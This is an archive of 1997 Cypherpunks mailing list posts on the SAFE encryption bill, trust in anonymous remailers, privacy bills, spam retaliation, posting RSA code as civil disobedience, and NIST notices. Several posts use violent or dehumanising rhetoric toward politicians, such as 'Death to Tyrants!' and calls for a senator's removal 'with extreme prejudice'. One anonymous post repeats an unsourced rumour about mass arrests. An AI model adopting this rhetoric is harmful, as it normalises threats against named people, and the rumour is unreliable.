From declan at well.com  Wed May 14 21:45:43 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 15 May 1997 12:45:43 +0800
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: 




---------- Forwarded message ----------
Date: Wed, 14 May 1997 21:11:35 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary

You get a sense of the inevitable when you're handed a
stack of press releases congratulating a committee for
passing a bill -- an hour before the vote happens.

That's what happened this afternoon when the House
Judiciary committee unanimously approved SAFE, a bill
that generally loosens export controls on crypto.

Now, today's vote doesn't mean that the bill will move
to the floor unmolested, and it doesn't mean that all
its problems have been fixed. The Judiciary Committee
doesn't have jurisdiction over export relaxations, and
the bill's opponents pledged to fight when the measure
moves to the International Relations committee. Then
there's that portion about using crypto in a crime:
it's been modified, cleaned up, but not removed.

High and low points of today's hearing. I'll keep these
short since I've got to get to sleep:

* In another blow to the White House, the New Democrat
  Coalition is demanding that the White House change its
  crypto-policy. A letter the group of centrist Dems
  sent to Clinton today said: "We are deeply concerned
  that current policy restricting exports of
  cryptography technology poses a real threat to U.S.
  dominance..."

* The heinous section of the law that would create
  broad new Federal felonies for some uses of crypto was
  replaced. The amendment, offered by Rep. Delahunt
  and adopted unanimously includes eight hurdles:

	"Any person who, in the commission of a felony under
	a criminal statute of the United States, knowingly
	and willfully encrypts incriminating information
	relating to that felony with the intent to conceal
	such information for the purposes of avoiding
	detection by law enforcement agencies or
	prosecution..."

  It's a solid improvement, but this language still has
  no business becoming law. Problem is, nobody seems to
  have the balls to stand up and yank it. Delahunt,
  the amendment's sponsor, said the bill without the
  amendment "could have a chilling effect on the
  development and use of encryption." He added: "I
  recognize that some supporters of this amendment would
  like that this section be removed altogether." But it
  doesn't seem likely.

* The word on the streets is compromise. Hyde, chair
  of House Judiciary, brokered a meeting in his offices
  yesterday bringing together spooks, law enforcement,
  Goodlatte, and staffers. He says they're "very close
  to resolving any difficulties."

  Rep. McCollum chimed in: "It's just a matter of time
  before we work something out." Rep. Buyer said, and I
  am not making this up: "We should be good listeners to
  the NSA." Rep. Berman: "I hope there would be some way
  to bridge the differences between the administration
  and Goodlatte."

  More on this later...

* Rep. Hutchinson introduced an amendment that passed
  unanimously:
	
    (a) The Attorney General shall compile, and maintain
	in classified form, data on the instances in which
	encryption (as defined in section 2801 of title 18
	USC) has interfered with, impeded, or obstructed the
	ability of the Department of Justice to enforce the
	criminal laws of the United States. (b) The
	information compiled under subsection (a), including
	an unclassified summary thereof, shall be made
	available, upon request, to any Member of
	Congress.

  Problem is, a similar provision is *ALREADY LAW*. (It
  passed last year as part of an omnibus spending bill.)
  Brock Meeks wrote about it in his last Muckraker
  column: http://www.muckraker.com/

  And this is bad news: we already know that piss-poor
  crypto -- we're talking Brian Milburn-style, or
  WordPerfect strength -- has interfered with
  investigations. But with the NSA's help, cops were
  able to tunnel through it.

  That's why the Feds should be looking not at whether
  it *interferes* with an investigation, but whether it
  has *derailed* one. At least when the NRC report came
  out last year, not one investigation was derailed
  through the use of crypto. But even if it has derailed
  an investigation -- well, that may be the price of
  freedom...

* Rep. McCollum (R-Fl), a real Big Brother type of guy,
  added  an amendment to page 4, line 14 that passed
  unanimously. Addition is in caps:

     Subsection (a) shall not afect the authority of any
     investigative or law enforcement officer OR ANY MEMBER
     OF THE INTELLIGENCE COMMUNITY acting under any law in
     effect on the effective date of this chapter, to gain
     access to encrypted information.

  Now what the hell does this mean? Says McCollum: ""it
  is truly a technical amendment."

* Rep. Rothman was the only one who pointed out how
  government access to keys reduces freedom: "It raises
  civil libertarian and totalitarian issues for me." He
  recounted how at a recent hearing he asked the
  administration: "Let's cut to the chase: do you want
  to mandate this access?" The reply: "No, no, no."

I've said it before and I'll say it again: Congress
desperately wants to compromise. They're aching to
split the difference, cut a deal, and screw the pooch
in the process. Just watch for the backroom scheming
over the next few months. And if the worst features of
all the crypto-bills are combined into one package
that's attached to a huge spending bill that "just has
to go through" -- well, don't say I didn't warn you...

-Declan







From kent at songbird.com  Wed May 14 22:46:27 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 15 May 1997 13:46:27 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <19970514222526.39369@bywater.songbird.com>


On Wed, May 14, 1997 at 06:01:23PM -0700, Lucky Green wrote:
> On Wed, 14 May 1997, Roger J. Jones wrote:
> 
> > Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> > 
> > 1) Log all of their mail messages?
> > 2) Are in many cases reputed to be run by foreign intelligence services?
> 
> Net.myths
>  
> > Do they really trust the owner of the remailer? (Unless of course, it is
> their remailer?) I seem to be missing something. 
> 
> You are missing the fact that you can chain remailers. Therefore it is 
> pretty much irrelevant if some remailers are compromised.
> 
> 
> Then again, I know several remailer operators personally. Which makes me 
> less worried about the them being foreign intelligence agents.

Lucky, since I am considered contemptible by several c'punks, I worry
about them more than I would about foreign intelligence agents.  I
have actually considered sending some things through the remailers,
but I don't trust them -- I don't find cypherpunks any less
susceptible to ideology than foreign agents... 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From declan at pathfinder.com  Wed May 14 22:53:12 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Thu, 15 May 1997 13:53:12 +0800
Subject: Just Say "No" to Congress
In-Reply-To: 
Message-ID: 


Tim wrote:

> We're basically under assault from all directions. The bozos in Congress
> and state governments are spinning out new laws and obscure regulations
> faster than we can react...and of course they're using our money to
> generate these laws and lobby for them. Further, a mostly-brainwashed
> Washington media population is surprising uncritical of these blizzard
> drifts of new laws.

Hmmm... Do I get counted in the "mostly-brainwashed" category?

FYI, here are two bills that Feinstein introduced recently:

     S. 504. Children's Privacy Protection and Parental Empowerment Act
     of 1997. Prohibits the sale of personal information about children
     without their parents' consent. Introduced by Feinstein (D-CA) on
     3/20/97. Referred to the Committee on the Judiciary.
     
     S. 600. Personal Information Privacy Act of 1997. Amends FCRA to
     prohibit sale on non-public information, prohibits use of SSN as ID
     number, limits use of SSN on drivers liscenses. Introduced by
     Feinstein (D-CA) on 4/16/97. Referred to the Committee on Finance.

-Declan






From geeman at best.com  Wed May 14 22:56:33 1997
From: geeman at best.com (geeman)
Date: Thu, 15 May 1997 13:56:33 +0800
Subject: Just Say "No" to Congress
Message-ID: <3.0.32.19970514223307.006b4704@best.com>


I think I'd like to have some voice in who steps up to the bar
to fill the power vacuum, though, after the rapid oxidation 
within the Beltway.

At 09:13 AM 5/14/97 -0800, Tim May wrote:
>At 9:14 PM -0800 5/13/97, Lucky Green wrote:
>>At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>>>You might remember I wrote recently about the DoJ report released this
>>>month that calls for new legislation to ban bomb-making info online. Now
>>>Feinstein's office tells me she's going to introduce a bill.
>>
>>Feinswine never saw a gun/mind control bill she didn't like. She is an
>>ultra fascist that rose to power thanks to the yellow dog Bay Area voters.
>>
>
>Feinswine/Swinestein is the most despicable of all the politicians in
>Congress. (This is not just ideology speaking...her usual-ally Barbara
>Boxer is much less swinish, and even has some independent thoughts. I can't
>see I often agree with Boxer, but she's not the Big Sister automaton that
>Swinestein is.)
>
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
>
>As others have noted, recently James Donald, the lawmakers play the "good
>cop, bad cop" game very well. Crypto becomes exportable (good cop), but
>only if keys are given to the government (bad cop). Speech is ostensibly
>protected by new laws, but new provisions criminalize racist, homophobic,
>disrespectful, hurtful, offensive, or unpopular opinions.
>
>The "there ought to be a law" crowd is in high gear.
>
>The only proper rebuttal is to reject their view that more laws will fix
>the societal ills they perceive.
>
>Attempting to "work with them" only feeds the good cop/bad cop system, as
>the SAFE and Pro-CODE bills show.
>
>Removing the Washington area as a malignant tumor requiring drastic surgery
>remains an option.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>






From shamrock at netcom.com  Wed May 14 22:57:43 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 15 May 1997 13:57:43 +0800
Subject: Just Say "No" to Congress
Message-ID: <3.0.32.19970514223849.006ea694@netcom13.netcom.com>


At 01:25 AM 5/15/97 -0400, Declan McCullagh wrote:
>Tim wrote:
>
>> We're basically under assault from all directions. The bozos in Congress
>> and state governments are spinning out new laws and obscure regulations
>> faster than we can react...and of course they're using our money to
>> generate these laws and lobby for them. Further, a mostly-brainwashed
>> Washington media population is surprising uncritical of these blizzard
>> drifts of new laws.
>
>Hmmm... Do I get counted in the "mostly-brainwashed" category?

I am sure that Tim knows by now that you don't fall into that category.
Still, most members of the Washington media population seem brainwashed. At
least judging by the stuff they publicize.

>FYI, here are two bills that Feinstein introduced recently:

Sigh. She is my Senator. [Don't blame me. I voted against her. But she hits
the feelings of the Bay Area head on. "Big brother will bring you
multi-cultural happiness." She is such a hypocrite. Even carried a gun
after Moscone and Milk were shot and she thought herself in danger. Once
she felt safe again, she went on TV and said that if she could get the
votes in the Senate for total confiscation she would push for it. What's
good for the goose...]



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From declan at vorlon.mit.edu  Wed May 14 23:18:04 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Thu, 15 May 1997 14:18:04 +0800
Subject: Response to "SAFE bill and cutting crypto-deals"
Message-ID: 




---------- Forwarded message ----------
Date: Wed, 14 May 1997 23:00:17 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Response to "SAFE bill and cutting crypto-deals"


*******

Date: Thu, 15 May 1997 01:56:20 -0400
From: Jason Gull 

While I don't particularly like this segment of the proposed bill either,
I think Declan is engaging in some minor hyperbole when he says "this
language has no business becoming law."  We already have federal laws
which make the use of a telephone or the mails to commit a felony into an
additional offense, so this provision -- quite similar to obstruction of
evidence, from the look of it -- doesn't seem at odds with precedent. 
With so many "hurdles," as Declan puts it, the language seems tailored to
the specific case where incriminating information is encrypted solely to
evade law enforcement and (like the passing of incriminating information
to one's attorney in an attempt to make it "privileged") it doesn't seem
outlandish to think that such conduct ought to be criminalized.  Granted,
there's the danger of the "slippery slope" -- that allowing any
restrictions on crypto will lead to a gradual encroachment of government
into other uses of cryptography.  However, whether or not it is a good
idea or not, politics and previosu law seem to firmly support such a
provision. 

-Jason Gull
jgull at umich.edu








From tcmay at got.net  Wed May 14 23:33:10 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 14:33:10 +0800
Subject: Just Say "No" to Congress
In-Reply-To: 
Message-ID: 


At 9:25 PM -0800 5/14/97, Declan McCullagh wrote:
>Tim wrote:
>
>> We're basically under assault from all directions. The bozos in Congress
>> and state governments are spinning out new laws and obscure regulations
>> faster than we can react...and of course they're using our money to
>> generate these laws and lobby for them. Further, a mostly-brainwashed
>> Washington media population is surprising uncritical of these blizzard
>> drifts of new laws.
>
>Hmmm... Do I get counted in the "mostly-brainwashed" category?

No point in naming names. Nearly all reporters covering Washington are
essentially "policy wonks" (a term I hate, but it's the jargon du jour).

They lose sight of the forest for the trees. Further, nearly all news
outlets--the newsweekies, the newspapers, the broadcast networks--want
reporters to be somewhat neutral. (Which I don't necessarily disagree
with...but it explains why only the most wonkish and "lost in the trees"
reporters can tolerate and thrive in a Washington environment.

(Declan knows all this, of course, so I'm not teaching him how to suck eggs.)

Any reasonable person, whether leftist, rightist, libertarian, or whatever,
would respond to the long boring negotiations over bills--the soporific
markup Declan described, for example--with a cry of "I'm mad as hell and
I'm not going to take it anymore."

Those who tolerate and thrive in Washington thus must think the "political"
issues, the backroom deals, the wheelings and dealings, are worth the
boredom.

This is why I call them brainwashed. A better term might be "born
compromisers."

By the way, nothing I saw in the latest version of SAFE is acceptable. And
I agree with Declan that it will only get worse. The NSA and FBI will lean
on Hyde, on the International Relations committee, and the final version
will have murky language about legitimate needs of law enforcement, key
recovery, etc.

And there is zero chance that arbitrarily strong crypto will be freely
exportable.

Result? Americans as a whole gain no freedoms not already implicit in the
Constitution, pernicious language takes away some existing guaranteed
freedoms, NSA gets it wish to control exports, and key recovery is given a
boost.



>FYI, here are two bills that Feinstein introduced recently:
>
>     S. 504. Children's Privacy Protection and Parental Empowerment Act
>     of 1997. Prohibits the sale of personal information about children
>     without their parents' consent. Introduced by Feinstein (D-CA) on
>     3/20/97. Referred to the Committee on the Judiciary.

>From what I read here, another statist law. If I come into information
legally (scenarios left as an exercise for the reader), it is mine to sell,
give away, or do with as I please. Period. Crap about "parental
empowerment" is just a smokescreen. If parents or children wish to protect
certain information, let them not provide it. ("Remember Johnnie, if a man
comes up to you and says he's from Child Protective Services and he wants
to ask you a few questions, what did I tell you to say to him?" "You mean,
'Fuck off, fascist narc!'?" "Good, Johnnie, good.")

>     S. 600. Personal Information Privacy Act of 1997. Amends FCRA to
>     prohibit sale on non-public information, prohibits use of SSN as ID
>     number, limits use of SSN on drivers liscenses. Introduced by
>     Feinstein (D-CA) on 4/16/97. Referred to the Committee on Finance.

This sounds OK, as I hate being required by law to give my SS number to so
many. (In California it's required for car registration...my SS card says
plainly "Not to be used for identification," but this is ignored.)

But I fear it makes little difference. The SS number is already so widely
linked in data bases that it can be easily found. (Income tax forms are
sent to mailing addresses with the SS number prominently in the upper
right-hand corner of the damned mailing label!!!!)

Swinestein is in general a hopeless case, one who should be retired from
government office with extreme prejudice.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lucifer at dhp.com  Wed May 14 23:36:23 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 14:36:23 +0800
Subject: Just Say "No" to Congress
Message-ID: <199705150629.CAA27911@dhp.com>


At 09:13 AM 5/14/97 -0800, Tim May wrote:
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
...
>The "there ought to be a law" crowd is in high gear.

I seem to recall a proposal from the late 19th century suggesting that
the Patent Office be closed because there was nothing left to invent.
In a similar, but more serious vein, I think Congress should be shut
down, because there are no new laws that we need.

Excepting, of course, my earlier anonymous suggestion that children be
kept from "soft targets".

I'm not a TruthMonger, but I play one on T.V.






From real at freenet.edmonton.ab.ca  Wed May 14 23:40:56 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 15 May 1997 14:40:56 +0800
Subject: OTP
In-Reply-To: <199705150028.UAA32507@dhp.com>
Message-ID: 


On Wed, 14 May 1997, lucifer Anonymous Remailer wrote:


I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's reheated, refurbished, and regurgitated cud is completely 
> inappropriate for the mailing lists into which it is cross-ruminated.
> 
>            \|/
>         /~~~~~~~\
>        |  O   O  |
>    -ooo-----U-----ooo- Timmy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Wed May 14 23:42:24 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 14:42:24 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: 


At 9:25 PM -0800 5/14/97, Kent Crispin wrote:

>Lucky, since I am considered contemptible by several c'punks, I worry
>about them more than I would about foreign intelligence agents.  I
>have actually considered sending some things through the remailers,
>but I don't trust them -- I don't find cypherpunks any less
>susceptible to ideology than foreign agents...

The main solution to such doubts about remailers and their logging or
snooping tendencies is to use many remailers, encrypted all along the way,
and with the remailers picked from diverse ideological points.

(Other solutions are of course for remailers to move away from the "human
in the loop" system of Unix box-based remailers toward a more
fully-automated, black box approach. This was the basis of Chaum's 1981
system...the remailers implemented in 1992 were acknowledged by all to be
pale shadows of these hardware-based mixes. There are still opportunities
for snooping, if the hardware is either compromised or is not built
according to published specs to reduce such snooping, and this is of course
an issue to discuss. Certain approaches using DC-Nets make even this kind
of collusion problematic.)

Further, a clever little fix is to make one's own remailer site a link in
the chain. All a snooping subset of remailers can do is trace the message
back to your own remailers. Obviously, they can't know if the message was
merely _remailed_ through your site, or _originated_ there. Thus, including
oneself as a remailer also provides excellent plausible deniability.)

But, finally, the most important point:

Whether you, Kent, "trust" certain of us not to snoop or meddle is not the
main point. It is not we who argue that remailers should be controlled, or
limited, or regulated, or banned. It is the government side.

So, we Cypherpunks would be happy to see remailers run by the Greens, the
Maoists, the Panthers, the Weathermen, the Aryan Resistance, the Kulak
Liberation Brigade, the Stonewall Queers, Dykes on Bykes, the Animal
Liberation Front, the Phalangist Party, a hundred other fringe groups, and
a few tens of thousands of individuals and small shops.

Collusion between a carefully--or even randomly--selected chain of, say, 20
of these various and mutually-hostile groups would seem to be "unlikely."

Kent, stop babbling and spend a few hours reading up on the basics of how
remailers work, the issues of collusion, and the discussions we've had for
several years on these issues.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rwright at adnetsol.com  Wed May 14 23:47:45 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Thu, 15 May 1997 14:47:45 +0800
Subject: Spam IS Free Speech
Message-ID: <199705150640.XAA07531@adnetsol.adnetsol.com>


On or About 14 May 97 at 3:46, lucifer Anonymous Remailer wrote:

> Ross Wright wrote:
> > 
> > You can not retaliate against free
> > speech, Rick.  That's a bad thing, plain and simple, black and
> > white.
> 
>   Crock of shit, Ross.

No shit, you just can't send 10,000 megs of info in retaliation for a 
few bits.  Really, there's no call for that.  It's wrong. 

>   It costs me money to download unwanted spam. What's this "free"
> bullshit?

What?  Like 80 cents per gig?  Please a bit here and a byte there 
isn't going to break anyone.  Could someone do the math?

> > Free speech is a right.  You have the right to make some snotty
> > reply, but no right to intentionally harm. 
> 
>   Spammers neither know nor care if they are causing harm to the
> finances or mental well-being of others.

One message in your in box is no excuse for terror tactics.  Mail 
bombs, arp atacks, calls for regulations: aren't you over reacting?  
Just a little?  I think your mental well being is in question anyway.

>   If a spammer declares their right to cause me financial loss and
> denial of service for the time it takes me to rid myself of their
> unwanted intrusion

What, like 5 seconds a week?  Less?  Please.  It just isn't as bad as 
you make it seem.

Shit I love this, the spammers love this.  There is no such thing as
*bad* publicity.  The more you screem the better it is for the "bad
spammers".

> then they can have no expectation that I, in
> turn, will not declare what level of financial loss and denial of
> service I will cause them.

You have no right to deny them more than the few seconds of service 
that you lost.  Any more than that is terror tactics, and a waste of 
time.  You should be working on better projects than "Let's fuck over 
the spammers".  Wow, that's productive.  Shit, man write some useful 
code.
 
> > You, nor anyone else, has a right to lash out at
> > someone for something they say or some ad they send you.
> 
>   So spammers have no right to lash out at my sending them a
> gigabyte of email regarding the evils of spamming. 

A gig for a few bytes.  Why?  That's so lame.  Such a watse of 
talented code writing.  And why are you escalating this?
 
> > > It makes
> > > *me* feel better.
> > 
> > Ahhh, at last the point.  Are you a self centred ass, who's
> > personal feelings are more important that the Constitution? 
> 
>   Ross has failed to explain just how the Constitution promotes the
> spammer's right to intrude upon the spammer's life and cause them
> financial loss while denying that right to the spammee.

Well I've tried to describe that you lose about a dime per year.

>   Ross' personal feelings seem to be important enough to him to cast
> slurs on those who disagree with his black-and-white opinions
> regarding his right to spam others without them having a
> corresponding right to reply in kind.

You can feel free to send me twice as many bytes as I send to you, 
OK?  Feel beter?  No!  You must fuck me over because I sent you my 
latest MLM scam.  Yeah that's so mature!  Come out from behind your 
remailer and state your opinions, wrong as they are.

 >   Gander. Goose.

Right.  If I send you a gig, you send me a gig.  If I send you a meg 
you send me a meg.  A few bytes for a few bytes.  Are you following 
what has upset me about this issue, yet?  Like for Like, Goose, 
Gander.  You said it, but you don't mean it. 

Right?  You are saying if I send you one message, you have the right 
to mail bomb me?  There's no parity there.  

It's very distressing how much of a hot button this issue is.

 >TruthMonger

 Lier. 

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From nobody at huge.cajones.com  Thu May 15 00:07:56 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:07:56 +0800
Subject: Civil Disobediance
Message-ID: <199705150652.XAA21425@fat.doobie.com>


"All that matters is how we die: shall we offer our bodies helplessly,
like cattle, to the knife, or, refusing passively to await the end
shall we turn the strength of our anger to one last battle, til,
daring and doing, we fall, drenched with their blood, amongst the
heaped bodies and weapons of our dying enemies?"  -- Livy Book XXV

We've seen many sentiments like this one on the list lately.  Such
sentiments are understandable and have a certain visceral appeal.  And
it is good that people who are thinking along these lines are also
telling their friends on the list instead of censoring themselves.

But, these strategies are not the best we can choose to achieve our
true goals.  Few of us wish to be martyrs.

The years long discussion of "crypto policy" has had the unfortunate
and intended effect that it has caused us to become accustomed to
restrictions on sharing ideas.  That doesn't mean we like it, but it
does mean that we consider the control of mathematical ideas to be
expected and somewhat inevitable.  (The same mechanisms we use to
train animals are at work here.)

Many of us have, perhaps, lost our youthful rage at the complete
absurdity of a law which makes it highly illegal to invent some math,
express it in code, and distribute it for free to the world.

Perhaps there is a way to turn the training on the trainers?  Civil
disobediance is the best way to do this.  Were a relatively small
number of people, a thousand for instance, to post the "RSA in 3
lines" code to the world, it would be highly unlikely that anybody at
all would be prosecuted, particularly if a sizeable number of these
people were professors, graduate students, professionals at well known
companies, journalists, politicians?, or otherwise prominent people.
The whole situation would be so absurd they would never dare take it
to court.

If no response results from the first release of code, more people
will feel comfortable jumping in when it becomes clear that they have
a chance to change the world.  The longer somebody waits, the less
opportunity they have to tell their grandkids "I was the 500th person
to publically export RSA back in the late 20th century.  The
government was actually trying to make math illegal!"  Best of all,
anybody "fortunate" enough to be a U.S. citizen can participate, even
if they don't write code themselves.

Having established beyond any doubt that the export of RSA was
possible without repercussions, the lesson will be driven home by
group releases of successively longer mathematical works expressed in
source code.  The first release will be the most challenging.  In no
time at all everybody - including everybody in the government - will
find themselves accustomed to the idea that laws against mathematics
are absurd.  (Even Senators will be able to grasp this unchallenging
concept.)

It is not hard for the government and the newspapers to discredit
militia type activities involving large weapons collections and
chemistry experiments.  But, no matter how much spin is put on it, it
is extremely hard to persuade the public that sending a few lines of
source code is terrorism, especially when they can download it off the
web and see for themselves that it is just, well, source code, and
maybe export it themselves.

The way to get started is for people to pledge to post "RSA in 3
lines" if certain conditions are met.  For instance, "I will post 'RSA
in 3 lines' if 500 people promise to do it as well, among them being
Michel Foucault, Jacob Bernoulli, and Blaise Pascal."  No risk need be
taken without allies!

Dr. Roberts






From nobody at huge.cajones.com  Thu May 15 00:11:45 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:11:45 +0800
Subject: Sweeps Week in Portland
Message-ID: <199705150701.AAA21825@fat.doobie.com>


News from the Beirut of the West:

The FBI, in cooperation with the Portland police and the TV show "Cops" is ending a six month survelence project of downtown Portland.  Tonight, armed with large books containing pictures of suspects, they have congregated in the center of town arresting all of those caught in their video web.  Over the last 6-8 hours they have been arresting hundreds of suspects in the downtown area.

The arrests are a "show of force" in the downtown area.  The police used to watch over the people.  Now they are watching the people.

Expect to see similar activity in the town where you live.

"Be seeing you!"

DonutMonger #666








From nobody at huge.cajones.com  Thu May 15 00:16:02 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:16:02 +0800
Subject: Sweeps Week in Portland
Message-ID: <199705150701.AAA21833@fat.doobie.com>


News from the Beirut of the West:

The FBI, in cooperation with the Portland police and the TV show "Cops" is ending a six month survelence project of downtown Portland.  Tonight, armed with large books containing pictures of suspects, they have congregated in the center of town arresting all of those caught in their video web.  Over the last 6-8 hours they have been arresting hundreds of suspects in the downtown area.

The arrests are a "show of force" in the downtown area.  The police used to watch over the people.  Now they are watching the people.

Expect to see similar activity in the town where you live.

"Be seeing you!"

DonutMonger #666








From kent at songbird.com  Thu May 15 00:46:22 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 15 May 1997 15:46:22 +0800
Subject: Disinformation in L.A.
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <19970515002241.20918@bywater.songbird.com>


On Wed, May 14, 1997 at 09:28:16AM -0400, Tom Allard wrote:
> >   Didn't her boss's murderer walk on the charge by using the defence
> > that he ate too many Twinkies?
> >   No political intrigue here...
> 
> That was the defense, yes.  Dan White was a former cop and treated like a 
> hero by fellow cops.  The prosecution never really challenged the Twinkie 
> defense, nor did they bring up politics or homophobia as motives.  With a 
> prosecution like that, who needs a defense?

Dan White committed suicide, after a while.  He probably died sooner
than the state could have killed him, with appeals and all.  Anyway, 
Feinstein has had a fair amount of first hand experience with gun 
violence -- more than most people on this list.  Her stand on gun 
control is probably the most principled and honest one she has made.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Thu May 15 01:18:34 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 16:18:34 +0800
Subject: Feinswine should be terminated from any role in politics
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: 


At 11:22 PM -0800 5/14/97, Kent Crispin wrote:

>than the state could have killed him, with appeals and all.  Anyway,
>Feinstein has had a fair amount of first hand experience with gun
>violence -- more than most people on this list.  Her stand on gun
>control is probably the most principled and honest one she has made.

I agree. Her stand on gun control and guns _is_ her most principle and
honest one.

After all, she lobbied for gun control, denied she had ever carried a gun,
was found to have been carrying a gun in her purse while denying it and
while proposing to disarm the rest of us, and then dismissed her carrying
of the gun on the grounds that it was just a "teeny little gun" (or
something like this...I don't have her exact quote handy).

Her other stands are even less honest and principled than this, so Kent is
techically correct.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Thu May 15 05:30:30 1997
From: jya at pipeline.com (John Young)
Date: Thu, 15 May 1997 20:30:30 +0800
Subject: NIST Crypto Notices
Message-ID: <1.5.4.32.19970515120309.00916cf4@pop.pipeline.com>


Two May 13 Federal Register notices by NIST:

NIST is planning to develop a FIPS for Public-Key Based 
Cryptographic Key Agreement and Exchange. This notice 
solicits comments regarding techniques for consideration
specifically including RSA, Diffie-Hellman, and Elliptic Curve
techniques. This standard will be for use in designing and 
implementing public-key based key agreement and exchange 
systems which Federal departments and agencies operate or 
which are operated for them under contract. More than one 
algorithm may be specified, consistent with sound security 
practices, to enable Federal departments and agencies
enhanced flexibility in the design, implementation, and use of
cryptographic systems.

   http://jya.com/nist051397.txt  (6K)

NIST is planning to develop a proposed revision to Federal
Information Processing Standard 186, Digital Signature 
Standard. This revision would specify additional public-key 
based digital signature algorithms (in addition to the Digital 
Signature Algorithm [DSA]) for use in designing and implementing 
public-key based signature systems which Federal departments 
and agencies operate or which are operated for them under 
contract. The purpose of the revision will be to enable
Federal departments and agencies greater flexibility, consistent 
with sound security practices, in the design, implementation, 
and use of public-key based digital signature systems.

   http://jya.com/dss-rev.txt  (6K)






